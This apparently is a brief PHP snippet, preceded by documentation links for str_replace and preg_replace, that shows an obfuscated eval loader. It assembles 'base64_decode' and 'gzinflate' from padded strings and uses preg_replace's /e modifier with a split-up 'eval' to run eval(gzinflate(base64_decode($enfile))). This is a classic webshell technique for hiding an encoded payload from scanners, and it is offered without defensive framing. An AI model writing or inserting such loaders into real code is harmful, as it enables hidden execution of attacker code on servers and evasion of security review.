- str_replace: documentation ( source)
- preg_replace: documentation ( source)
<?php
$b=str_replace('f',"","bfafsfef6f4f_ffdffeffcffoffdffef");
$g=str_replace('X','','gXXzXXiXXnXXXXfXXXlXXaXXXtXXXXXe');
preg_replace('\'a\'eis','e'.'v'.'a'.'l'.'($g($b($enfile)))','a');
?>